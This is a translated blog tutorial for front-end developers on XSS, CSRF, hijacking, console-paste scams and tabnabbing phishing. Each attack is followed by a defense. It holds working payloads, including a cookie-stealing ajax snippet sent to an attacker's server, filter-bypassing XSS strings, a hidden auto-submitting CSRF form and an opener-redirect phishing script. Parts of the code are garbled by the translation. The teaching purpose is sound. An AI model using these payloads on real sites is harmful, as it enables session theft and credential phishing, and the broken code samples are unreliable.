[Chat Series] Talk about the security of WEB front-end

Time:2019-9-23

Welcome to the chat series. This series of articles can help front-end engineers understand all aspects of the front-end (not just the code):
https://segmentfault.com/blog…

With the development of the Internet, various kinds of WEB applications are becoming more and more complex, which meet the various needs of users, but the following is a variety of network security issues. As front-end engineers, we can not escape this problem. So today, I would like to talk with you about the security of WEB front-end. Let’s not talk about those back-end attacks (SQL injection, DDOS attacks, etc.). After all, the whole WEB security is a profound knowledge, not that I can complete an article. Let’s talk about the safety knowledge that front-end engineers need to pay attention to.

Why attack?

In fact, there are still a few people who really go to the black website for the sake of playing mentality. Most of the attacks are still beneficial. I vaguely remember that engineers from Tencent once said something like this:It is impossible for a developer to ensure that his application is absolutely invisible to attack, but as long as the cost of attacking us is much greater than the benefits he can obtain, the hacker will not attack.Precautions such as Alipay, QQ and other products have also been reported loopholes, it seems that the defense is not absolute, we can only think of ways to make our application safer.

What are the forms of front-end attacks and how can I guard against them?

1 XSS attack

What is 1.1?

Baidu Encyclopedia said:
XSS is a computer security vulnerability that often appears in Web applications. It allows malicious web users to implant code into pages for other users.
In fact, in the front-end aspect of the web, it can be simply understood as a kind of JavaScript code injection. For example, we have a social networking site that allows people to access each other’s space. The site may do this:

<?php
    $username= "Doctor Hou";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            User name: <? PHP echo $username;?>
        </div>
        <div>
            The first state: Doctor Hou's state 1
        </div>
        <div>
            Second State: Doctor Hou's State 2
        </div>
        <div>
            Article 3 State: Doctor Hou's State 3
        </div>
    </body>
</html>

At runtime, the presentation is shown in Figure 1.1.1:

[Chat Series] Talk about the security of WEB front-end
Figure 1.1.1

But what if your username, when it’s named, has a script tag on it? We know that when the browser encounters the script tag in HTML, it will parse and execute the JS script code in the tag. If your user name contains the script tag, you can execute the code.
The code is as follows, and the effect is shown in Figure 1.1.2.

<?php
    $username="<script>alert('Doctor Hou');</script>";
?>

[Chat Series] Talk about the security of WEB front-end
Figure 1.1.2
If you set your username to this way of executing scripts and let others access your connections, you can achieve the effect of executing your own scripts in other people’s web environment. We can also use ajax to get cookies from other users under the current domain name and send them to our servers. That way you can get information from others. For example, instead of alert, we just used the following code:

$.ajax({
    Url:'Own server',
    dataType: 'jsonp',
    Data: {'Stolen user cookie': document. cookie}
});

Then in each QQ group, disseminate their own space, lure others to visit. You can get the user’s cookie or other privacy under this domain name.

1.2 How to prevent?

At present, the simplest way to prevent and cure is to convert the front-end output data. For example, according to our example just now, the essence is that when a browser encounters a script tag, it executes the script. But if we escaped the script tag, the browser would not think it was a tag, but when it was displayed, it would still be displayed in the normal way. The code is as follows, and the effect is shown in Figure 1.2.1.

<?php
    $username="<script>alert('Doctor Hou');</script>";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <! -- We will output the back-end variables, escape them and then output them, so as to avoid being injected into the code - >
        <div>
            User name: <? PHP echo htmlentities ($username);>
        </div>
        <div>
            The first state: Doctor Hou's state 1
        </div>
        <div>
            Second State: Doctor Hou's State 2
        </div>
        <div>
            Article 3 State: Doctor Hou's State 3
        </div>
    </body>
</html>

[Chat Series] Talk about the security of WEB front-end
Figure 1.2.1
In fact, let’s look at the source code of the web page, as shown in Figure 1.2.2.
[Chat Series] Talk about the security of WEB front-end
Figure 1.2.2
Although it is shown that there are script tags, in fact, the left and right parentheses (> <) of script tags are converted to HTML character entities, so they will not be parsed as tags, but when they are actually displayed, the two parentheses can still be displayed normally.

1.3 Upgrade Attack

Utilization of 1.3.1 append

In the last section, we guarded against the right and left brackets of script tags, Blue Goose, and smart hackers, but they came up with a good way to crack it. We know that assigning a JS to innerHTML directly is not executable. For example,

$('div').innerHTML = '<script>alert("okok");</script>';

However, jquery’s append can do this because jQuery finds the script tag in the append element when it changes it into fragment and executes it again using eval. Jquery’s append is also used in innerHTML (Figure 1.3.1.1). Inner HTML converts Unicode code code into character entities.
[Chat Series] Talk about the security of WEB front-end
Figure 1.3.1.1
Using this combination of knowledge, we can conclude that the website uses append for DOM operation. If append is a field we can decide on, then we can use left and right angular brackets and Unicode code code to disguise it, just like this–"\u003cscript\u003ealert('okok');"。 Next, when it’s transferred, pretend to be\u003Of<It will be omitted, and when append, it will be re-invoked. The code is as follows, and the effect is shown in Figure 1.3.1.2.

<?php
    $username="\u003cscript\u003ealert('okok');";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script></script>
    </head>
    <body>
        <div>
            User name: <? PHP echo htmlentities ($username);>
        </div>
        <div>
            The first state: Doctor Hou's state 1
        </div>
        <div>
            Second State: Doctor Hou's State 2
        </div>
        <div>
            Article 3 State: Doctor Hou's State 3
        </div>
        <div> Copyright Reserved: <span id="username_info"></span></div>
        <script>
            $('#username_info').append("<?php echo htmlentities($username);?>");
        </script>
    </body>
</html>

[Chat Series] Talk about the security of WEB front-end
Figure 1.3.1.2
We can see that although escaped, the injected code will be executed again.

1.3.2 Reuse of img Tags

Another way of attacking, tips for img tags.
Here we need to revisit a little bit of knowledge, the img tag, which calls onerror events on the element when the image loading fails. We are using this approach to attack. Let’s first look at how normal users share pictures. The code is as follows, as shown in Figure 1.3.2.1

<?php
    $username="<script>alert('Doctor Hou');</script>";
    $imgsrc="http://img5.imgtn.bdimg.com/it/u=1412369044,967882675&fm=11&gp=0.jpg";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            User name: <? PHP echo htmlentities ($username);>
        </div>
        <div>
            The first state: Doctor Hou's state 1. This is a picture:
            <img />
        </div>
        <div>
            Second State: Doctor Hou's State 2
        </div>
        <div>
            Article 3 status: status of doctor Hou 3
        </div>
    </body>
</html>

[Chat Series] Talk about the security of WEB front-end
Figure 1.3.2.1
But what if we change the way we write the address of this picture?

<?php
    $imgsrc="" onerror="javascript: alert ('Doctor Hou'); ".
?>

Let’s look at the assembled HTML source code again, as shown in Figure 1.3.2.2:
[Chat Series] Talk about the security of WEB front-end
Figure 1.3.2.2
At this point, the source code has become — SRC is empty, but at onerror, the injection code is executed. When we refresh the view page, we find that code injection has been successful, as shown in Figure 1.3.2.3:
[Chat Series] Talk about the security of WEB front-end
Figure 1.3.2.3
Looker, you may say, and then change the meaning. Yes, the old routine, we will carry on the transformation – – you this fault, even if cured (old Chinese medicine tone).

<img />

Well, it’s finally back to normal, as shown in Figure 1.3.2.4.
[Chat Series] Talk about the security of WEB front-end
Figure 1.3.2.4

1.3.3 Combination Use

But……………………………………………………………………………….. but……………………… while But innerHTML assigns an img tag that can be recognized. We camouflage the left and right brackets of the IMG tag with Unicode so that the escape method cannot be recognized. Even innerHTML can be used. The code is as follows. The effect is shown in Figure 1.3.3.1.

<?php
    $username="\u003cimg src=\'\' onerror=javascript:alert(\'okok\');\u003e";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            User name: <? PHP echo htmlentities ($username);>
        </div>
        <div>
            The first state: Doctor Hou's state 1
        </div>
        <div>
            Second State: Doctor Hou's State 2
        </div>
        <div>
            Article 3 State: Doctor Hou's State 3
        </div>
        <div> Copyright Reserved: <span id="username_info"></span></div>
        <script>
            document.getElementById('username_info').innerHTML = "<?php echo htmlentities($username);?>";
        </script>
    </body>
</html>

[Chat Series] Talk about the security of WEB front-end
Figure 1.3.3.1
In this way, innerHTML can also be used to break through the defense line again.

1.4 Upgrade Defense

It seems that we need to do defensive upgrades again, and we will output the string in the\Backslash escapes (json escapes). In this way,\It will not be processed as the beginning of the Unicode code code. The code is as follows:

document.getElementById('username_info').innerHTML = <?php echo json_encode(htmlentities($username));?>;

The source code at the generator, as shown in Figure 1.4.1
[Chat Series] Talk about the security of WEB front-end
Figure 1.4.1
The effect is shown in Figure 1.4.2.
[Chat Series] Talk about the security of WEB front-end
Figure 1.4.2

1.5 XSS Upgrade

It’s said that a foot taller is a foot taller than a foot taller. Do you think the hackers can’t attack if they can prevent the back-end output? Sometimes we have the habit of building web pages with get parameters on URLs. For example, take the user name on the URL to show directly, take some jumpback addresses on the URL and so on. But we can’t escape the parameters on the URL in advance. Next, let’s take an example. The code is as follows:

<html>
    <head>
        <meta charset="utf-8" />
        <script></script>
    </head>
    <body>
        <div>
            User name: <? PHP echo htmlentities ($username);>
        </div>
        <div>
            The first state: Doctor Hou's state 1
        </div>
        <div>
            Second State: Doctor Hou's State 2
        </div>
        <div>
            Article 3 State: Doctor Hou's State 3
        </div>
        <div> Copyright Reserved: <span id="username_info"></span></div>
        <script>
            var param = /=(.+)$/.exec(location.search);
            var value = decodeURIComponent(param[1]);
            $('#username_info').append(value);
        </script>
    </body>
</html>

The above code satisfies a very normal requirement to unravel a parameter in the URL and render it to the page. However, there is a risk that if the hacker adds JS code to this parameter of the URL, it will be executed again (as shown in Figure 1.5.1).
[Chat Series] Talk about the security of WEB front-end
Figure 1.5.1

1.6 Defense Upgraded Again

For such information obtained from url, the author suggests that it is better to get it from the back end and output it after the front end is escaped. The code is as follows. The effect is shown in Figure 1.6.1.

<script>
    var value = decodeURIComponent("<?php echo htmlentities($_GET['username']);?>");
    $('#username_info').append(value);
</script>

[Chat Series] Talk about the security of WEB front-end
Figure 1.6.1
Be careful when using parameters in urls, not to mention Eval with parameters in URLs.

1.7 Protect your cookies

If unfortunately hired, the hacker’s JS really executed on our web page, what should we do? In fact, most of the time, our sensitive information is stored in cookies (don’t put user confidential information in the web page), in order to prevent hackers from accessing user sensitive information in cookies through js. Then use the HTTPOnly attribute of cookie, with the cookie field of this attribute, JS can not be read and written. The PHP settings are as follows:

<?php
    setcookie("userpass", "doctorhou-shuai", NULL, NULL, NULL, NULL, TRUE);
?>

As shown in Figure 1.7.1, our cookie has been planted and has an httpOnly logo.
[Chat Series] Talk about the security of WEB front-end
Figure 1.7.1
As shown in Figure 1.7.2, we can’t get httpOnly fields in cookies through js:
[Chat Series] Talk about the security of WEB front-end
Figure 1.7.2
In fact, there are many ways to upgrade XSS attacks. If students are interested, they can study them by themselves. (Don’t do anything bad)

2 CSRF attack

2.1 What is a CSRF attack?

The explanation of CSRF attack in Baidu Encyclopedia is:
CSRF (Cross-site Request Forgery cross-site request forgery), also known as “One Click Attack” or Session Riding, is usually abbreviated as CSRF or XSRF, which is a malicious use of websites.
In fact, some of the submission behavior in the website is exploited by hackers. When you visit the hacker’s website, the operation will be operated on other websites (e.g. the website of the network bank you use).

2.2 How to attack?

2.2.1 Reasonable use of post and get

Usually, in order to save time, we make some data that should be submitted into get requests. Little wonder, this is not only a violation of HTTP standards, but also will be used by hackers.
For example, in the website you developed, there is an operation to buy goods. That’s how you developed it:

<?php
// Getting user names from cookies seems safe
$username = $_COOKIE['username'];
$productId = $_GET['pid'];
// Purchase here
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
Echo $username. 'buy product:'. $productid;
?>

The commodity ID diagram is easy to use, and the get parameter in URL is used. If you buy goods, as shown in Figure 2.2.1.1
[Chat Series] Talk about the security of WEB front-end
Figure 2.2.1.1
Well, hacker websites can be developed like this:

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <img />
    </body>
</html>

In this way, users only need to visit the hacker’s website once, which is equivalent to operating once in your website. Users, however, do not perceive it. As shown in Figure 2.2.1.2:
[Chat Series] Talk about the security of WEB front-end
Figure 2.2.1.2
Therefore, our daily development, or to follow the submission business, strictly in accordance with the post request to do. Not to mention using jsonp as a submission interface, which is very dangerous.

2.2.2 xsrf attack escalation

If you use post requests to handle critical business, there are ways to crack them. Our business code is as follows:

<?php
$username = $_COOKIE['username'];
// Instead of posting, you can avoid hackers'direct submission
$productId = $_POST['pid'];
// Purchase here
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
Echo $username. 'buy product:'. $productid;
?>

The hacker code is as follows:

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script></script>
    </head>
    <body>
        <button id="clickme">click on my photo album </button>
        <script>
            $('#clickme').on('click', function () {
                // When the user submits the form without knowing it, the server will think that the form is submitted by the user.
                $('#myform').submit();
            });
        </script>
        <form id="myform" style="display:none;" target="myformer" method="post" action="http://myhost:8082/lab/xsrflab/submit.php">
            <input type="hidden" name="pid" value="1">
        </form>
        <iframe name="myformer" style="display:none;"></iframe>
    </body>
</html>

The effect is shown in Figure 2.2.2.1.
[Chat Series] Talk about the security of WEB front-end
Figure 2.2.2.1
After clicking on it, the user submits it without even knowing it. How to defend against this situation?
The simplest way is to add authentication code, so that in addition to the user, the hacker’s website is unable to obtain the user’s authentication code for this session. But this will also reduce the user’s submission experience, especially some frequent operations, if the user is always asked to enter the authentication code, the user will be very annoyed.
Another way is to plant token for authentication in the pages visited. All submissions of users must carry the token generated in this page. The essence of this way is the same as using the verification code. But this way, every session of the whole page, using the same token, many posts. By doing this, the developer can automatically bring the token of the current page. If the token check fails, the submission process will be terminated if it proves that the submission was not sent from our site. If token is actually generated for this site, it can be used.
The code is as follows. The defense effect is shown in Figure 2.2.2.2.

<?php
$username = $_COOKIE['username'];
$productId = $_POST['pid'];
$token=$_POST['token'];
// Examples of Check Algorithms
function check_token($token) {
    if ($token==='doctorhou-shuai') {
        return true;
    }
    return false;
}
if (!check_token($token)) {
    // If the check fails, it is aborted
    return ;
}
// Purchase here
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
Echo $username.'Buy goods:'. $productId;
?>

[Chat Series] Talk about the security of WEB front-end
Figure 2.2.2.2
If the above figure does not carry the token generated by each session of the site, the submission fails.
The site form will automatically carry the token generated by the site.

<?php function token_creater() {
    // The Method of Generating Token at Home Station
    return 'doctorhou-shuai';
}?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script></script>
    </head>
    <body>
        <form id="myform" target="myformer" method="post" action="http://localhost:8082/lab/xsrflab/submit.php">
            Commodity Name: <input name="pid" value="1">
            <input type="hidden" name="token" value="<?php echo token_creater();?>" />
            <input type="submit" value="submit"/>
        </form>
        <iframe name="myformer" style="display:none;"></iframe>
    </body>
</html>

If you use the web page of this site again for submission, it will pass, as shown in Figure 2.2.2.3.
[Chat Series] Talk about the security of WEB front-end
Figure 2.2.2.3
Of course, the above is just an example. The specific token generation is bound to change with session and user ID. If you feel that your website needs to add a token, please Baidu yourself, for in-depth study.

3 Network Hijacking Attack

Many times, our website does not visit our server directly, and there are many layers of proxy in the middle. If the data is intercepted by the hijacker of the middle proxy layer in a certain link, they can get the secret data such as the password of the user who uses your website. For example, our users often have weird WiFi in various restaurants. If this WiFi is a hotspot WiFi built by hackers, then hackers can result in all the data that the user sends and receives. Here, it is recommended that webmasters use HTTPS to encrypt their websites. In this way, even if the website data can be obtained, hackers can not untie.

If your website hasn’t been https-encrypted yet, in the form submission section, it’s best to use asymmetric encryption — client-side encryption, which can only be unlocked by the server. In this way, the hijacker in the middle can not get the real information of the encrypted content.

4 Console Injection Code

I don’t know if you have noticed the warning message of the Tianmao official website console, as shown in Figure 4.1. Why? Because some hackers will trick users into pasting things into the console (bullying small white users who don’t understand the code), such as what article can be posted in the circle of friends, saying, “As long as you visit Skycat, press F12 and paste the following content, you can get xx yuan gift” and so on, then some users will really operate, and self-help. My privacy has been exposed and I don’t know.
[Chat Series] Talk about the security of WEB front-end
Figure 4.1
This is also a warning to users not to do so. It seems that the front-end security of the cat is also in place. However, this kind of attack is a minority after all, so you can take a look at it. If you really find that some users will be attacked like this, remember the solution of Skycat.

5 fishing

Fishing is also a very old way of attacking, but it’s not really a front-end attack. After all, it’s a page-level attack. Let’s talk about it. I believe that many people will have such experience, QQ group inside what part-time jobs, what they want to go abroad to sell houses and cars, details in my QQ space, such as the connection. After opening, I found a QQ login box. In fact, I knew it wasn’t QQ when I looked at the domain name, but it was very similar to QQ login. Users who didn’t know where they were actually entered their username and password. As a result, they didn’t log in to QQ, but their username and password were sent to people.
In fact, this method is also used in the front end. Next, let’s try to use the front end for a lifelike fishing.
First, we share an article in XX space, and then attract others to click on it. The effect is shown in Figure 5.1.1.

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
        Currently you are in XX space
        </div>
        <h1> Dr. Hou's Sharing</h1>
        <section>
        Our class used to be a class flower. Now it's like this:
        <! - This is our fishing website - >.
        <a href= "http://localhost:8082/lab/fish/cheat.php" target="_blank"> click here to see</a>
        </section>
    </body>
</html>

[Chat Series] Talk about the security of WEB front-end
Figure 5.1.1
Then, on the cheat. PHP website, we quietly modify the address of the jumped source page. The effect is shown in Figure 5.2.1.

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script></script>
    </head>
    <body>
        What you want to see:
        xxxxxxxxxxxxxx
        xxxxxxxxxxxxxx
        <script>
            // Address replacement of the jumped source page without the user's knowledge
            window.opener.location = 'http://localhost:8082/lab/fish/myfishsite.php';
        </script>
    </body>
</html>

So, after the user visited our deceptive website, the tab before has changed quietly. We replaced it quietly with the phishing website, deceiving the user to enter user name, password and so on.
[Chat Series] Talk about the security of WEB front-end
Figure 5.2.1
3 Our phishing website, disguised as XX space, allows users to enter user names and passwords, as shown in Figure 5.3.1
[Chat Series] Talk about the security of WEB front-end
Figure 5.3.1
This fishing method is more interesting, the point is that we are more difficult to defend against this attack, we can not use js to open all page links. So, either change the link of outside chain jump to the current page jump, or give the user a prompt when the page unload, or change all the jumps to window. open. When opening, the same thing as most fishing prevention and control is that we need to improve the safety awareness of netizens.

What should we pay attention to in our usual development?

  1. When developing, we should be on guard against the content generated by users, and detect the information input by users layer by layer.

  2. Attention should be paid to filtering the user’s output (escape, etc.)

  3. Important content remember to encrypt transmission (whether using HTTPS or encrypting yourself)

  4. Get requests and post requests should strictly comply with the specifications, do not mix up, do not use jsonp to complete some dangerous submissions.

  5. Careful use should be made of the information carried on the URL.

  6. Keep in mind that your website may be dangerous.

After all, web security is a big aspect, if you need to understand, you still need to learn it specially. Hope this chat can make your website safer.

Homework after class

Do you still have many security holes in your website? After reading this article, please recall if there are any security risks in your website. Also, can I work out some safety rules for my classmates in my team?

In the next article, I’ll talk with readers about web photos. Don’t go away, please pay attention to me…

If you like this article, please click on the recommendation below. Your recommendation will become my motivation to continue to write more.

The above content only represents the author’s personal views, if you have any comments, please inform the author.

Recommended Today

Configure Apache to support PHP in the Apache main configuration file httpd.conf Include custom profile in

In Apache’s main configuration file / conf/ http.conf Add at the bottom Include “D:workspace_phpapache-php.conf” The file path can be any In D: workspace_ Create under PHP file apache- php.conf file Its specific content is [html] view plain copy PHP-Module setup LoadFile “D:/xampp/php/php5ts.dll” LoadModule php5_module “D:/xampp/php/php5apache2_2.dll” <FilesMatch “.php$”> SetHandler application/x-httpd-php </FilesMatch> <FilesMatch “.phps$”> SetHandler application/x-httpd-php-source </FilesMatch> […]